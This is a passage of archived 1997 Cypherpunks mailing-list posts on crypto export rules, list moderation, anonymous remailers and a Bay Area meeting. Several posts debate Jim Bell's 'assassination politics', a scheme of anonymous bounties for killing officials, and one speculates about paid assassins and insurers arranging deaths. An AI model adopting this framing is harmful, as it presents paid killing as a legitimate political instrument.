He said that the government is going to crack down on
domestic possession and use of crypto, that they
were looking to increase their wiretapping capabilities
100-fold, and so on.

He was very emphatic about not trusting anything
that the government says, and that once they got
their "foot in the door", that they would seek to
expand their abilities to regulate, etc, etc.

He advocated deployment of strong crypto. He
insisted that there was no way the government
could stop the export of strong crypto. He exhorted
people to refuse to obey the ITAR/EAR regulations,
and to lobby their congresscritters to get the
PRO-CODE bill passed.


It wasn't really what he said that amazed me, because
I had heard most of it (in bits and pieces) before. It
was presenting it all in a package, in an emotional
manner, by an elderly, conseratively dressed
accountant who was representing a large
corporation whose job it is to help people obey the
government.

[ My father was an accountant. He worked for
Deloitte-Touche, in fact. I don't expect accountants
to be passionate about government regs, and
especially not to advocate disobediance. Maybe
that's why this affected me so strongly. ]

-- Marshall

Marshall Clow     Aladdin Systems   <mailto:mclow@mailhost2.csusm.edu>

Warning: Objects in calendar are closer than they appear.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 5 Feb 1997 08:59:46 -0800 (PST)
To: Matts Kallioniemi <cypherpunks@toad.com
Subject: Re: My Departure, Moderation, and "Ownership of the List"
Message-ID: <199702051659.IAA00930@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 8:20 am -0500 2/5/97, Matts Kallioniemi wrote:
>Another way to get rid of the totally clueless and involuntary subscribers
>would be to require subscription requests to be PGP signed and acknowledged
>by the subscriber.

Now, this sounds familiar...

Everyone remember Eric's attempt to force signed messages?

Herding cats, indeed.

Cheers,
Bob

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Rogaski <wendigo@pobox.com>
Date: Wed, 5 Feb 1997 11:41:10 -0800 (PST)
To: Anil Das <das@sgi.com>
Subject: Re: AltaVista Tunnel
Message-ID: <199702051941.LAA03457@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

An entity claiming to be Anil Das wrote:
: 
: Rick Osborne wrote:
: > 
: > He triumphantly exclaimed that the encryption was 128-bit, but when
: > I said "128-bit what?" he cowered and muttered that he didn't know and went
: > on with his little speech.  The rest of my crypto-specific questions met
: > with equal dark stares.  And these are the people setting industry standards...
: 
: I should be happy that you are bashing a competitor and all, but give
: them a break, OK? The marketing dweeb who has to do product pitches
: on roadshows is not the same as the design engineer who designs the
: system and sets technical standards. There can be a big difference in
: technical knowledge about the product, and even basic competency,
: between the two.
: 

If the marketing-droid didn't have the ability to answer such a basic
question, DEC should have just sent out videotape promos.  I don't
understand why they went through the expense of sending warm bodies
out on a roadshow without giving them enough specification about
the product to give an effective presentation to a predominantly
tech-oriented audience.  From whom did they expect the questions to
come?  A competent marketing professional would AT LEAST know what
standards/protocols the product supported, does a car company send
its sales force out without knowing if the cars use gas or diesel?

Another example of how the Macro$loth mindset of tossing out random
buzzwords to a chorus of ooooh's and ahhhh's has polluted the 
industry.  

In Rick's case, DEC's image was deflated.  OK, so how many other
people present got the same impression.  And it's very likely that
one of those people is a decision maker, or the anecdote got back
to one of the decision makers.  So, due to DEC's failure to ensure
that their sales force new the product, they can probably scratch 
Grumman off of their potential client list.

Mark


- -- 
[]  Mark Rogaski                    || "Computers save time like kudzu    [] 
[]  wendigo@pobox.com               ||  prevents soil erosion."           [] 
[]  http://www.pobox.com/~wendigo/  ||           - afcasta@texas.net      []
[]  >> finger for PGP pubkey <<     ||                                    []

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAwUBMvjCjBz4pZwIaHjdAQEziAf/WXyN1MHZd5E77RIGwQIk37gcTKAnDATS
gKpKW/MWENV5qF7sEdJ/5BEE5KpJUsUvG9+/9ZfmjwLJbaiIAiIKBkLto5oBCwFi
0uR7RFqDCtIIsVzDb+L6gzAKJ98WDTHeaQO7uy3NDo6WkuGdIDtcxe5mzuLmekjE
wlnNy3PCmU6LYZivuW4L8IAXQ+Fd263DX4WaR2FbRGXmdH6/QCJHp7kerjuppNtD
rCaUh1yFoxmzzZp2QLgYhZRGDNzw7SKPCcmMBcPk2873f+U9kdEWrz0LzSQwSlRN
zZGXZMfsuF6PrLckRS8fGO00/ZVuh4byiqGffSP++zwEE6GDcFHR4A==
=Caug
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Wed, 5 Feb 1997 14:03:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Are cypher punks capable?
Message-ID: <199702052203.OAA05521@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:57 PM 2/4/97 -0000, Secret Squirrel wrote:
>Against Moderation wrote:
>> In general, unsubscribing and resubscribing to a mailing list is not
>> completely trivial.
>
>Do you think that a cypher punk is not able to solve these problems?
>
I just unsubscribed to cypherpunks, simoutaneously (excuse the spelling)
subscribing to the cypherpunks-unfiltered (and low tar) list.  One problem I
have is in transit, how many messages did I loose?  Since the moderated list
is delayed by however long it takes for Mr. Sandforth to read the messages,
I lost at least as many messages as he pulled in last minus the number of
messages that he had already sent out.  I thought about subscribing for
about four hours to both lists, but I have enough trouble with my account
hitting its maximum kB limit.  I don't have any filters, scripts, or other,
and yet I still had a problem, (one which I finally ignored).






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hugh Daniel <hugh@west.toad.com>
Date: Wed, 5 Feb 1997 14:21:47 -0800 (PST)
To: cypherpunks-announce@toad.com
Subject: ANNOUNCEMNT: February 1997 Cypherpunks Bay Area Meeting
Message-ID: <199702052221.OAA05812@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



What:   San Francisco Bay Area Cypherpunks monthly physical meeting
When:   Saturday February 8th, 1997
Where:  Turning Auditorium, Stanford University, Stanford California

Agenda: 11:++	setup, gossip, face feeding etc.
	12:00	USG Export 'Laws' of the week, Roz Thomsen, PGP inc.
	13:00	PGPmail & PGPdisk overview, Dave Del Torto, PGP inc.
	14:00	Break
	14:30   Announcements, late breaking news, etc.
	15:00	The 3 hour 40bit challenge, Ian Goldberg, UCBstudent
	16:00   Why bother killing the list?, Hugh Daniel
		Future Meeting Planing, IPSEC Update, etc.
	17:00	This hour left bank for future expansion...

Dinner:
	18:30	Dinner at Thai City, 3691 El Camino Real, PA

	(All times are approximate and likely to be totaly ignored...)

Directions:
	  Turning Auditorium is in Polya Hall, Jordan Quad, Stanford
	University, Stanford, Santa Clara County, California, USA.
	  A (bit)map to the part of the Stanford Campus where the
	meeting will be held is at:

	http://www-facilities.stanford.edu/transportation/PGrid4.html

General directions:

- From Hwy 101, take the Embarcadero exit all the way to campus. Turn right
(clockwise) on Campus Drive. Turn left into the Jordan Quad parking lot. 

- From Hwy 280, take Sand Hill. Turn right on Junipero Serra, then left
(counterclockwise) onto Campus Drive. Turn right into the Jordan Quad
parking lot.

Host:  Many thanks to Richard Graves <llurch@stanford.edu> and to
	Stanford University for providing the space for this months
	meeting.

Notes:	  We will have a small NHK (Nipon(Japan)) film crew at much of
	this meeting, they are doing a documentary and are interested
	in how this (main) branch cypherpunks works (or does not work
	as the case may be...).
	  We have a wonderful space to do demos in this month, Turing
	Auditorium has Internet, projections screens, audio amps and
	a Clone-PC and a Macintosh to demo software, web sites etc.
	  If you have something Cypherpunkish to demo, this is the
	month to do so!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Hayes <dave@kachina.jetcafe.org>
Date: Wed, 5 Feb 1997 14:14:27 -0800 (PST)
To: gbroiles@netbox.com
Subject: Re: what's in a name?
Message-ID: <199702052214.OAA05697@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Greg Broiles <gbroiles@netbox.com> writes:
> Wei Dai's message raises an important question: what is the relationship
> between ownership and list content or quality? 

I'll assert that ownership can only have a negative impact on
content. Freedom is preferable to bias, and hence loss of freedom
can only hurt content...according to -my- standard of content anyway.

> Are mailing lists an example of a situation where "the tragedy of the
> commons" is not a useful metaphor? 

Yes. Such analogies assume that common people create tragedy, which 
is only true if their leaders have designed things to work that way.

> Is the desire for an anarchic community at odds with a desire for
> good use of resources?

The network resources are there to handle email traffic. Attempting
to place a non-technical content-based standard on the usage of
resources invites censorship and leads to stagnation of ideas.

If people would simply learn to filter what they don't like from their
net.viewport, there would not be a perceived problem.
------
Dave Hayes - Altadena CA, USA - dave@jetcafe.org 
Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet

Nasrudin arrived at an all-comers horse race mounted on the slowest of oxen.
Everyone laughed, an ox cannot run. 
"But I have seen it, when it was only a calf, running faster than a horse.",
said Nasrudin. "So why should it not run faster, now that it is larger?"







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Osborne <osborne@gateway.grumman.com>
Date: Wed, 5 Feb 1997 12:23:07 -0800 (PST)
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: Silly Americans
Message-ID: <199702052023.MAA03991@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>At 09:37 PM 2/4/97 -0500, Rick Osborne wrote:
>>a philosophical note, why *do* we allow the government to regulate
>>algorithms?  (Implementations, I can understand, but *algorithms*?)

At 03:33 AM 2/5/97 -0800, Bill Stewart wrote:
>Because they're bigger than we are and better-armed?
Okay, I can accept that ...

>Because there's lots of money to be made by people patenting things?
This i have a little more trouble with ... Sure *one* company can make alot
of money, but *one* company making money doesn't stimulate the economy.

>Because big companies can use it to interfere with competition?
Once again, this is non- and even counter-productive.  Pure competition is
great, but if only one company has a product, there is *no* competition.

>Because it's good for the economy because it encourages inventors
>of algorithms to publish them and make money by doing so?
No: many companies using the same algorithm with different implementations
is good for the economy.

It's like this: say that way back when the first electronic spreadsheet was
produced, someone patented it.  It then evolved into Excel.  Now, no one
else can do any kind of electronic spreadsheet, because Microsoft has the
rights.  There is no competetion and anyone who wants to use an electronic
spreadsheet has to use Excel.  This would be great for Microsoft, but
horrible for everyone else.  Lotus 1-2-3 would have never existed, etc,
etc, etc.

The constant chatter about the expiration of the Diffie patent proves my
point: if everyone was satisfied with what there was, then no one would be
gearing up to produce their own products.

Competition is a *good* thing.  You can't evolve without it ...
_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
Once a Junior Programmer interrupted a Great Guru of the Sun to ask a
Question of no importance. The Great Guru replied in words which the
Junior Programmer did not understand. The Junior Programmer sought to
rephrase the Question, saying, "Stop me if I appear stupid." The great
Guru, without speaking, reached over and pressed L1-A. The Junior
Programmer achieved Enlightenment.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Osborne <osborne@gateway.grumman.com>
Date: Wed, 5 Feb 1997 11:59:25 -0800 (PST)
To: Anil Das <cypherpunks@toad.com
Subject: Re: AltaVista Tunnel
Message-ID: <199702051959.LAA03670@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 03:48 AM 2/5/97 -0800, Anil Das wrote:
>I should be happy that you are bashing a competitor and all, but give
>them a break, OK? The marketing dweeb who has to do product pitches
>on roadshows is not the same as the design engineer who designs the
>system and sets technical standards. There can be a big difference in
>technical knowledge about the product, and even basic competency,
>between the two.

Oh, I understand that.  But I do expect at least a *tiny* bit of knowledge
on the product by said marketers.  I mean,  the entire base of PPTP is
crypto.  It's like trying to explain a word processor without knowing what
a paragraph is.  When I went to the networks guys, they answered every one
of my questions about the routers, packet sniffing, etc. without
hesitation.  The nice lady with the .5TB RAID array was just as competent.
The only person in that entire truck that couldn't answer my questions was
this one guy.  It just goes back to the old thread of "why don't people
know about crypto?"
_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
If it's broke, send it back.  If it works, take it apart and find out
why.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ed Falk <Ed.Falk@Eng.Sun.COM>
Date: Wed, 5 Feb 1997 14:58:26 -0800 (PST)
To: cypherpunks-announce@toad.com
Subject: Re: ANNOUNCEMNT: February 1997 Cypherpunks Bay Area Meeting
Message-ID: <199702052258.OAA06370@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


Hi all; if anybody's interested in having a PGP key-signing party
at this event, I'd be willing to organize one.

If interested, send me your key (or a pointer to where I can download
it), and let me know what times are good for you for the party.

	-ed falk
-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQBVAwUBMvkGtzLd6HIbO1jdAQGZFQH9GNbQCwSS09YuPrC9jg43A9NiusV18sdM
66MKMVxIYYi2EstThJVWN8NLYCIGCgOiJnnIJ4ZgkbnAwY9zmZviVw==
=4etp
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Matts Kallioniemi <matts@cyberpass.net>
Date: Wed, 5 Feb 1997 07:26:02 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: My Departure, Moderation, and "Ownership of the List"
Message-ID: <199702051526.HAA28754@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Jeremiah A Blatz wrote:
>On the choke points note, mailing lists are better than usenet because
>legendary AOLers with there 5 free hours of fame and their ilk usually
>don't figure out how to pester mailing lists. Being on a mailing list
>usually requires a commitment, that is enough of a barrier for many of
>the usenet underirables.

Another way to get rid of the totally clueless and involuntary subscribers
would be to require subscription requests to be PGP signed and acknowledged
by the subscriber.

Matts

-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAgUBMviI5xVFhWUyiUQRAQFdEwf/ZI2WW/2OVKq4xdwmsPNzCP3yJj7NfsOP
JSBegY21WX/Oa+gT/Zmo5lrOh9wWQlF2OpFlzggvBef1Vm5qidge5dRqSxmUPipc
5/HZFK1KxQI5uLjC7pZo5pMfjIroPYI4pldfYP2fjn3qo82sg8IWEn1FSH3b5iEE
qrL71rWmG3ekx7qDMvZPGKrjwi7XNJlKUT7qIjQaR25sg3U4KsntV5FZ+Iof6FRz
cFX0G2bQ5r1tE/QIqrMm94cD27KNFshSArBFgTqNqqCJtym2v+oOtiCpm8uqirlB
oREDHaIs7pJyUA3VkdQnVwKbN+c/Ln9nBAZ9V0BGBg4rZMp/rDRo+Q==
=YOIl
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John A. Perry" <perry@alpha.jpunix.com>
Date: Wed, 5 Feb 1997 14:01:28 -0800 (PST)
To: Remailer Operators <cypherpunks@toad.com>
Subject: New type2.list/pubring.mix
Message-ID: <199702052201.OAA05490@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Hello Everyone,

	I've just updated the type2.list/pubring.mix combination on
jpunix.com to reflect the retirement of rebma. The files are available by
anonymous FTP from ftp.jpunix.com as well as by WWW from www.jpunix.com.

	Additionally, the files are now available by IRC (EFnet) by
accessing the rops bot on #remailop. Just send a /msg rops hello so rops
will recognize you. You can then do a /dcc chat rops, go to the file area
and then do a /dcc get. 

 John Perry KG5RG perry@alpha.jpunix.com PGP-encrypted e-mail welcome!
 Amateur Radio Address: kg5rg@kg5rg.ampr.org
 WWW - http://www.jpunix.com
 PGP 2.62 key for perry@jpunix.com is on the keyservers.



-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBMvjtk1OTpEThrthvAQEY9QP/RAmfhG6yF0xRQn23XgXhnVxQIMexnEIw
SS3WNj8hHIS5TAT06AsjFLrcBGPqkN612XiYrkGAtgXLQfPuevxGrtDRdGesYzGH
kz5+exvxW3BOuVokQs7TZLoQQzSq5WbmfdoG1UZ6aSXPQ1gE6c/Hwgx8R/Z4Os9I
xZP07vWyryc=
=bPEB
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John A. Perry" <perry@alpha.jpunix.com>
Date: Wed, 5 Feb 1997 14:01:21 -0800 (PST)
To: Mixmaster Mailing List <raph@alpha.jpunix.com
Subject: Sorry!!
Message-ID: <199702052201.OAA05480@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

I apologize for 3 copies of the same message. I was having some problems
with premail. I'll try not to let it happen again.

 John Perry KG5RG perry@alpha.jpunix.com PGP-encrypted e-mail welcome!
 Amateur Radio Address: kg5rg@kg5rg.ampr.org
 WWW - http://www.jpunix.com
 PGP 2.62 key for perry@jpunix.com is on the keyservers.


-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBMvjuN1OTpEThrthvAQHZmgQAkp1pN5S/NV/8Bg17kiQXKBM59y+bmMEx
XkkEPQlVYCPrE6z+t+QRx93DQS3HVwAE8x5tvP9fkvnWGJxuyMMkBeJv+ru2kDUg
dDxo8+C+TsQ6jQ+B7OQWg4EcaC9vpQNPYQLEYpI5UjgXrpYLtilcfeGzvYqSDXmN
8+xvb184UfE=
=sSG7
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Wed, 5 Feb 1997 09:06:39 -0800 (PST)
To: jim bell <cypherpunks@toad.com>
Subject: Re: John's: In anarchy -everyone responsible
Message-ID: <199702051706.JAA01075@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

on or about 970204:2343 jim bell <jimbell@pacifier.com> said:

+At 09:05 PM 2/4/97 +0000, Attila T. Hun wrote:

+>        In a "popular" anarchy, Jim Bell's assassination politics make
+>    perfectly good sense; but, a "popular" anarchy is not an _anarchy_.

+I guess I don't understand the distinction you are trying to make,
+between a  "popular anarchy" and an "anarchy."    Maybe you were trying
+to distinguish  between "dictatorship of the few (or one)" and
+"dictatorship of the many (perhaps a  majority)" but it didn't come out
+very understandably.

+Put simply, "anarchy is not the lack of order.  It is the lack of
+_orders_."

    disagree. pure anarchy is not the lack of "orders" --pure anarchy 
    implies that everyone is imbued with that perfect sense of 
    responsibility.

+>        anarchy is only possible in an ideal world where _everyone_ 
+>    assumes not only responsibility for themselves, but for the common 
+>    good.  no malice, no greed, no need for assassination politics....

+No, that's traditional thinking and that's wrong.  See AP part 8. 
+Freud  believed (as "everyone" else believed, even myself, before AP)
+that anarchy  was inherently unstable.  But it ISN'T, if the tools of
+AP are used to  stabilize it.  And no, no altruism is necessary for AP
+to work as well; no  individuals are being asked to sacrifice
+themselves for the common good.    Rather, they are given the
+opportunity to work to achieve a reward offered,  cumulatively, by a
+number of citizens.

    aah, but that is the difference between a _pure_ anarchy and a  
    _popular_ anarchy.  A pure _anarchy_ is sufficiently idealistic in 
    that _noone_ lacks the necessary resonsibility to keep society 
    moving, each individual in their own niche.  As long as there is 
    perfect responsibility in a perfect anarchy, then there is no need 
    for AP.

    AP is a negative, or _punative_, influence; I might liken it to the 
    Catholic Church which is a religion of fear, and an instrument of
    political control.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBMvixAL04kQrCC2kFAQECsQQAlPSQRpEE2dAKkqrWSlPf79QhSBtYbjXa
rEyAlOrmi8NOxgyb8hGF/VwVkURUKnPr4gGJW9JvwuPB2x/AQeT11ZEQyVqeFGNF
0W6WR7yv3XsOT9UM6JCP9hFLWU33BumcPd26w8f/Z5mx87qEUoXeJD4ApLv5QNI3
WlyL0xDT1PM=
=sfD3
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Date: Wed, 5 Feb 1997 16:25:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "alt.cypherpunks" people?
Message-ID: <199702060025.QAA07526@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Anil Das <das@sgi.com> writes:

> Dr.Dimitri Vulis KOTM wrote:
> > 
> > Learn to use an anonymous remailer.
> 
> Thanks for the hint, Dr. Vulis. I have registered for a course, but
> seats are available only in fall.

Toilet seats in the state of free fall?

The stego on Sandy's moderated list blows my mind...

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: stewarts@ix.netcom.com
Date: Wed, 5 Feb 1997 17:40:23 -0800 (PST)
To: Andy Dustman <andy@ccmsd.chem.uga.edu>
Subject: Re: mail-to-news fun
Message-ID: <199702060140.RAA08923@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>> Well, I'd really rather not do that.  I already have to deal with
>> abuse from nym.alias.net and mix@anon.lcs.mit.edu users.  

>All that being said, it might not be worth the effort to allow posting,
>since you're not actually doing the posting anyway. I've thought about 
>allowing posting again with a very restrictive newsgroup list 
>(only alt.anonymous.messages).

If I were going to restart a remailer, and to offer news posting,
I'd probably limit it to posting to moderated newsgroups only,
so a human can trash things that look like SPAM or abuse;
the abuse that caused me to kill my remailer wasn't something
a simple filter would catch.  (I'd also prefix each posting with a 
header about this message having been received from an anonymous source,
not verified, not guaranteed to be worth the electrons it's printed on,
probably not written by anybody whose name's at the bottom, etc....
People don't read mail headers or disclaimers at the bottom,
and putting disclaimers like that into message text for
email exposes the message to traffic analysis.)

Alt.anonymous.messages is an interesting alternative, but one of the 
ideals of posting news from a remailer is to allow people to 
broadcast politically incorrect speech anonymously, avoiding censorship
and retribution as much as possible.  This means letting people
call Lee Kwan Yew a fascist, complain that OJ's a space alien,
identify the person Hillary paid to off Vince Foster,
or proclaim that Hubbard's Ahmaddiyya Witnesses are the One True 
Religion -- Or post the One Page RSA+RC4 to the China newsgroups.

On the other hand, I don't want to support postings titled
"ALL FAGS MUST DIE" with a forged signature and email at the bottom,
and I especially don't want to post that from my remailer without
indicating that anything posted by a remailer might be forged.
That's why I shut down my previous remailer - the forger only
posted one forged message; the person whose name got forged
got flamed severely by dozens of people who objected to "her" posts.
Blocking the gay newsgroups cuts down on that kind of trolling,
but also cuts out the "Help, I might be gay and my parents will kill me"
traffic that remailers are supposed to help with.

On several other hands, though, even if you limit news posting,
trolls can abuse a remailer by sending email to large mailing lists.
It'd certainly never happen to Cypherpunks :-), but some other
mailing lists might attract trolls, and it's not easy to
identify them in advance (though I suppose adding a disclaimer
and cutmarks any time you post to something other than a 
known remailer is a partial solution.)


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Wed, 5 Feb 1997 17:42:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: RE: Fighting the cybercensor
Message-ID: <199702060142.RAA08940@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:09 PM 2/4/97 -0800, jim bell wrote:
>At 08:15 PM 1/28/97 -0800, Steve Schear wrote:
>>>The poor can not hope to match the tyrants bid as they only have 10% of the
>>>wealth, the household knows that thier participation in an attempt on the
>>>tyrant will get them killed.  Even if the attempt was successful.
>>>The people from the outside who would benefit from the bounty benefit more
>>>by taking the tyrants offer and then trying again, i.e. tiger teams.
>>
>>I think a hole in your thinking is to assume that the assasins have no
>>motive other than financial gain.  I would submit that there are those that
>>have the skills, training and a political agenda coherent with the
>>wagerers, lacking only the financial incentive to make the risks
>>acceptable.  These wetworkers won't consider accepting the bribe of the
>>rich/powerful
...
>
>However, fortunately I don't think it would make any difference in the 
>overall effects.    While AP would eliminate the taxation which is commonly 
>thought of as the main way a "rich person" loses assets, in practice it 
>would also shut down the well-hidden systems that allow some people to get 
>rich (or, merely live off somebody else) "unfairly."   Government agents 
>come to mind, of course.
>
The money doesn't necessarily come from taxation, the owner of a business
takes a cut of whatever money is made even if that person is unproductive.
The tyrant would be the owner of the industry.  
If you are right then governments would effectively lose the ability to tax,
with or without representation, as most people do not agree on everything,
like how their money is spent.  However, even now, as pointed out in some
recent posts, our tax money is used to foreward the goals of a few, these
few want to eliminate guns, crypto, free speech, ect.  Although we are in
oppostition, our money is still used to foreward the goals.  Not unlike what
I heard about the U.S.S.R. in vietnam. The following is according to my
source.  When the Soviet Ambassitor to the U.N. was sick, thats when the aid
to vietnam could begin, as the U.S.S.R was not there to veto it.  Now the
U.S.S.R. was forced to aid both sides, those that were in agreement with
them politically, and the U.N., of which they were a member.  End of source
data.
Even those who oppose the taxes would be forced to pay as it would be the
army that would be collecting.  Then they could take the remaining monies
that they had to target the leaders, who would use the tax revinues to
protect themselves.  If more money was needed, nore taxes would be collected.
If it were a private corporation, the wages of the workers would be reduced
on occassion to pay for the different security systems of the owner.  
Additionally, under our current system, the assassin would have his day in
court, perhaps he could escape the government, making the cost-benefit
analysis skewed in favor of crime.  Under a system as proposed, the assassin
would be forced do deal with a more powerful curse.  Insurance companies
would be reconfigured to anonymously see to the death of whatever caused the
death of thier clients.  They would make money because if the death could be
ruled accidental, they would not have to pay.  If the person died of a heart
attack, and the food taster didn't, (the food taster would probably be the
cooks son by the way), then the bond that the tyrant had with the company
would be void.  The company would cash the check.  If the tyrant wanted to
insure h[is/er] survival, (s)he would take out several of these bonds, with
different companies, each with a signature amount to give to the executors
to check their loyalty.  If the company paying 1295065 dollars didn't pay
up, the executors would tell the world.
The idea is, where a layer can be subverted, duplicate the layer so that at
least one element is bound to work.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Wed, 5 Feb 1997 16:26:00 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: "alt.cypherpunks" people?
Message-ID: <199702060026.QAA07527@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




On Wed, 5 Feb 1997, Dr.Dimitri Vulis KOTM wrote:

> Anil Das <das@sgi.com> writes:
> 
> > Adam Back wrote:
> > > 
> > > What do people think of starting an alt.cypherpunks USENET newsgroup?
> > > 
> > 
> > I have only one objection. I will never post to an Usenet group
> > under my real email address for fear of ending up in spammer
> > databases.
> > 
> > -- 
> > Anil Das
> > 
> 
> Learn to use an anonymous remailer.
> 

Unfortunately, if everyone is posting from "nobody@thevoid" or such, we'd 
lose the "personalities" that make up the community. Why not use a "nym" 
account to post - one that is configured to discard all incoming email?

-r.w.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "P.J. Westerhof" <p.j.wester@NGI.NL>
Date: Wed, 5 Feb 1997 08:11:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Getting into MIT is impossible
Message-ID: <199702051611.IAA29635@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 18:12 4-02-97 -0800, you wrote:
>Erland van Lidth de Jeude is a MIT grad.  He played the big badass in "Stir 
>Crazy."  Computer science major, BTW.
>
He is quite a singer too (at least he was some years ago on Dutch TV).
Perhaps that made the difference.  ;-)

Gr.
Peter


_________________________________________________________

   P.J. Westerhof  LL.D                      
   e-mail           P.J.WESTER@NGI.NL     |        Computerlaw
   voice            +31-347-375400                |        Legal informatics
   fax/data        +31-347-375400                |        IT - consultancy
   Web:            www.ngi.nl/cr/                   |        Soaring
_________________________________________________________






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Wed, 5 Feb 1997 17:43:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: More on Cellular Encryption Docs
Message-ID: <199702060143.RAA08990@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:39 AM 2/5/97 -0800, Bill Stewart wrote:
>>>>Here's more on the controlled documents for cellular encryption
>>>>from TIA/EIA we described in a 26 January post to cpunks:
>...
>>>Of course, ITAR as recently modified says it's ok to send this
>>>stuff overseas to foreigners, as long as it's on paper.
>>>There may be separate restrictions on sending it, or on copying,
>>>but they're based on copyright or contractual non-disclosure.
>>
>>Given that high-density inkjet printers can do 600x600 dpi resolution, it 
>>should be possible to achieve the equivalent of 100x100 bpi of 
>>easily-recoverable data on ordinary paper.  That's about 800 kilobits, or 
>>100 kilobytes.   What does ITAR say about this?
>
>These are text, perhaps with occasional illustrations, so the current
>interim export rules say it's ok.
>
>For optically-scannable printed data, the government's announcement says 
>it reserves (somehow) its right (acquired in unspecified manner :-)
>to re-evaluate the exportability at a later time.  I think they
>haven't settled on whether they'd be more embarassed by banning it
>(which bans export of printed material, risking serious Constitutional
>challenges) or by not banning it (having people laugh at them while
>exporting source code or even binaries in OCR-A on loose-leaf paper
>with page numbers and checksums.) 
...
Let's not tempt them with something that the common person on the street
would consider computer media, I.E. punched cards and dataglyphs.  Remember
the old fonts that used to be everywhere?  The ones with the thickened
letters at key places?  Look at a check some time, that is the type of font
at the bottom, its designed to be readable by both man and machine.  Print
out the source code in one of those fonts and mail that.  This is not as
data intensive as the other way, but at least it can be argued that it can
be read by an unaided person.
That way, on the other end, the text can be scanned in directly, using a
modified form of check clearing software, and converted into electronic
media, sans errors.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Voorhees <mark@infolawalert.com>
Date: Wed, 5 Feb 1997 14:56:42 -0800 (PST)
To: "mclow@owl.csusm.edu>
Subject: Re: Deloitte-Touche?
Message-ID: <199702052256.OAA06322@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


